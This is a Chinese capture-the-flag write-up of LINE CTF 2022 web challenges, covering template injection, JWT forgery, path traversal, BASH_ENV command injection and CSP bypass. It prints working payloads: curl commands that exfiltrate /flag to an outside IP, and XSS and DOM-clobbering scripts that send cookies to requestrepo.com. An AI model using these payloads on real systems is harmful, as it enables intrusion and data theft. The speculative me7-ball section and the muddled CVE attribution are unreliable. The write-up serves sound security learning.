2022 lineCTF WEB WriteUp
字数 1681 2025-08-07 08:22:39

2022 lineCTF WEB题目WriteUp解析

0x01 Gotm题目解析

题目概述

  • 目标:伪造token使is_admin == true获取flag
  • 关键点:SSTI (Server-Side Template Injection)漏洞利用

漏洞利用步骤

  1. 注册特殊用户

    GET /regist?id={{.}}&pw=123 HTTP/1.1
    

    通过注册id为{{.}}的用户触发模板注入

  2. 获取token

    • 登录后获取包含模板注入结果的token
    • 示例token:
      eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Int7Ln19IiwiaXNfYWRtaW4iOmZhbHNlfQ.0Lz_3fTyhGxWGwZnw3hM_5TzDfrk0oULzLWF4rRfMss
      
  3. 提取密钥

    • 解码后发现假密钥:this_is_f4Ke_key
    • 使用该密钥伪造admin token
  4. 获取flag

    GET /flag HTTP/1.1
    X-Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Int7Ln19IiwiaXNfYWRtaW4iOnRydWV9.3OXFk-f_S2XqPdzHnl0esmJQXuTSXuA1IbpaGOMyvWo
    

技术要点

  • JWT token伪造
  • Go模板注入(SSTI)
  • 通过特殊用户id{{.}}泄露敏感信息

0x02 Memo Drive题目解析

漏洞分析

  • 关键漏洞:Starlette框架的query参数解析漏洞(CVE-2021-23336)
  • 影响版本:Python 3.6.13到3.10.0的特定版本

漏洞利用

  1. 漏洞原理

    • 当query参数值包含分号(;)时,query_params会错误解析
    • 示例:
      param_value = 'a;b;c'
      url = f'/test?param={param_value}'
      
      会被解析为两个参数:param=ab=c
  2. 利用步骤

    GET /test?dc61228a0a3c3709e3cf12165e0cc4ef=flag;/%2e%2e
    
    • 绕过.和&检查
    • 构造路径遍历:./memo/dc61228a0a3c3709e3cf12165e0cc4ef/../flag
  3. 替代方案

    GET /view?id=flag&/..
    

    解析为:

    • filename = flag
    • path = ./memo/id/../flag

技术要点

  • Starlette框架query解析漏洞
  • 路径遍历利用
  • 分号在URL参数中的特殊处理

0x03 bb题目解析

题目分析

function bye($s, $ptn){
    if(preg_match($ptn, $s)){
        return false;
    }
    return true;
}

foreach($_GET["env"] as $k=>$v){
    if(bye($k, "/=/i") && bye($v, "/[a-zA-Z]/i")) {
        putenv("{$k}={$v}");
    }
}
system("bash -c 'imdude'");

绕过限制

  1. 字母字符限制

    • 使用八进制编码绕过/[a-zA-Z]/i检查
    • 示例:whoami$'\167\150\157\141\155\151'
  2. 环境变量注入

    • 利用BASH_ENV执行命令
    • 示例payload:
      ?env[BASH_ENV]=`$'\143\165\162\154' $'\61\61\64\56\62\61\65\56\62\65\56\61\66\70\72\62\63\63\63'%20$'\55\106' $'\146\151\154\145\75\100\57\146\154\141\147'`
      
      解码后:curl 114.215.25.168:2333 -F file=@/flag
  3. 自动化生成payload

    import string
    cmd = 'cat /flag | curl -d @- 114.215.25.168:2333'
    o = ''
    for c in cmd:
        if c in string.ascii_letters:
            o += f"$'\\{oct(ord(c))[2:]}'"
        else:
            o += c
    

其他环境变量利用方式

  • NODE_OPTIONS=--require /proc/self/environ
  • PHP_EXTRA_CONFIGURE_ARGS执行PHP代码
  • PERL5OPT执行Perl命令
  • BASH_ENV执行bash脚本
  • LESSOPEN/LESS参数利用

0x04 Online Library题目解析

漏洞分析

app.get("/:t/:s/:e", function (req, res) {
    var t = req.params.t;
    if ((/[\x00-\x1f]|\x7f|\<|\>/).test(t)) {
        res.end("Invalid character in book title.");
    }
    else {
        Fs.stat("public/".concat(t), function (err, stats) {
            Fs.open("public/".concat(t), "r", function (err, fd) {
                var buf = Buffer.alloc(e - s);
                Fs.read(fd, buf, 0, (e - s), s, function (err, bytesRead, buf) {
                    res.end("<h1>".concat(t, "</h1><hr/>") + buf.toString("utf-8"));
                });
            });
        });
    }
});

利用步骤

  1. 文件读取

    GET /..%2f..%2f..%2f..%2f..%2fetc%2fpasswd/0/1024
    
  2. 内存泄露

    • 读取/proc/self/maps获取堆布局
    • 确定heap范围:0x053d60000x0631d000
  3. XSS利用

    • 通过identify接口写入XSS payload:
      <script>navigator.sendBeacon('//'+document.cookie.substr(13,100).replace('}','')+'.flag.u5uc8xic.requestrepo.com');</script>
      
    • 爆破内存定位payload:
      heap_start = 0x053d6000
      while heap_start < 0x0631d000:
          requests.get(f"http://target/..%2f..%2f..%2f..%2f..%2fproc%2fself%2fmem/{heap_start}/{heap_start + 200000}")
          heap_start += 200000
      

0x05 Haribote Secure Note题目解析

CSP限制

<meta content="default-src 'self'; style-src 'unsafe-inline'; script-src 'nonce-{{ csp_nonce }}' 'unsafe-inline'; require-trusted-types-for 'script'; trusted-types default" http-equiv="Content-Security-Policy">

漏洞利用

  1. 突破点

    • /profile页面没有CSP限制
    • 利用DOM Clobbering绕过限制
  2. 利用步骤

    • 设置display name为:";a.eval(m+"");"
    • 创建note:
      </script><iframe src=/profile id=b name=a></iframe>
      
    • 创建第二个note:
      <a id="m" href=abc:fetch("//"+document.cookie.substr(13).replaceAll("_",".").replace("}","")+".u5uc8xic.requestrepo.com");></a>
      
  3. 替代方案

    • display name:"+import(m)+"
    • note内容:
      </script><a id=x href="//iv8mapzv.requestrepo.com"></a>
      <a id=m href="data:text/javascript,open(x+'?'+document.cookie);alert()"></a>
      

技术要点

  • CSP绕过技巧
  • DOM Clobbering技术
  • iframe与跨窗口通信
  • 短字符payload构造

0x06 me7-ball题目解析

(题目附件缺失,根据参考资料分析)

推测解题思路

  1. 密码学相关漏洞
  2. 可能的攻击向量
    • 加密算法实现缺陷
    • 伪随机数问题
    • 密钥管理不当

参考解决方案

(需补充具体题目细节)

总结

本WriteUp涵盖了2022 lineCTF多个WEB题目的详细解法,涉及:

  1. SSTI与JWT伪造
  2. 框架解析漏洞利用
  3. 环境变量注入与字符限制绕过
  4. 文件读取与内存泄露
  5. CSP绕过与DOM Clobbering技术

每个题目都展示了不同的Web安全技术和绕过思路,对CTF选手和安全研究人员有重要参考价值。

2022 lineCTF WEB题目WriteUp解析 0x01 Gotm题目解析 题目概述 目标:伪造token使 is_admin == true 获取flag 关键点:SSTI (Server-Side Template Injection)漏洞利用 漏洞利用步骤 注册特殊用户 : 通过注册id为 {{.}} 的用户触发模板注入 获取token : 登录后获取包含模板注入结果的token 示例token: 提取密钥 : 解码后发现假密钥: this_is_f4Ke_key 使用该密钥伪造admin token 获取flag : 技术要点 JWT token伪造 Go模板注入(SSTI) 通过特殊用户id {{.}} 泄露敏感信息 0x02 Memo Drive题目解析 漏洞分析 关键漏洞:Starlette框架的query参数解析漏洞(CVE-2021-23336) 影响版本:Python 3.6.13到3.10.0的特定版本 漏洞利用 漏洞原理 : 当query参数值包含分号( ; )时, query_params 会错误解析 示例: 会被解析为两个参数: param=a 和 b=c 利用步骤 : 绕过 .和& 检查 构造路径遍历: ./memo/dc61228a0a3c3709e3cf12165e0cc4ef/../flag 替代方案 : 解析为: filename = flag path = ./memo/id/../flag 技术要点 Starlette框架query解析漏洞 路径遍历利用 分号在URL参数中的特殊处理 0x03 bb题目解析 题目分析 绕过限制 字母字符限制 : 使用八进制编码绕过 /[a-zA-Z]/i 检查 示例: whoami → $'\167\150\157\141\155\151' 环境变量注入 : 利用 BASH_ENV 执行命令 示例payload: 解码后: curl 114.215.25.168:2333 -F file=@/flag 自动化生成payload : 其他环境变量利用方式 NODE_OPTIONS=--require /proc/self/environ PHP_EXTRA_CONFIGURE_ARGS 执行PHP代码 PERL5OPT 执行Perl命令 BASH_ENV 执行bash脚本 LESSOPEN / LESS 参数利用 0x04 Online Library题目解析 漏洞分析 利用步骤 文件读取 : 内存泄露 : 读取 /proc/self/maps 获取堆布局 确定heap范围: 0x053d6000 到 0x0631d000 XSS利用 : 通过 identify 接口写入XSS payload: 爆破内存定位payload: 0x05 Haribote Secure Note题目解析 CSP限制 漏洞利用 突破点 : /profile 页面没有CSP限制 利用DOM Clobbering绕过限制 利用步骤 : 设置display name为: ";a.eval(m+"");" 创建note: 创建第二个note: 替代方案 : display name: "+import(m)+" note内容: 技术要点 CSP绕过技巧 DOM Clobbering技术 iframe与跨窗口通信 短字符payload构造 0x06 me7-ball题目解析 (题目附件缺失,根据参考资料分析) 推测解题思路 密码学相关漏洞 可能的攻击向量 : 加密算法实现缺陷 伪随机数问题 密钥管理不当 参考解决方案 (需补充具体题目细节) 总结 本WriteUp涵盖了2022 lineCTF多个WEB题目的详细解法,涉及: SSTI与JWT伪造 框架解析漏洞利用 环境变量注入与字符限制绕过 文件读取与内存泄露 CSP绕过与DOM Clobbering技术 每个题目都展示了不同的Web安全技术和绕过思路,对CTF选手和安全研究人员有重要参考价值。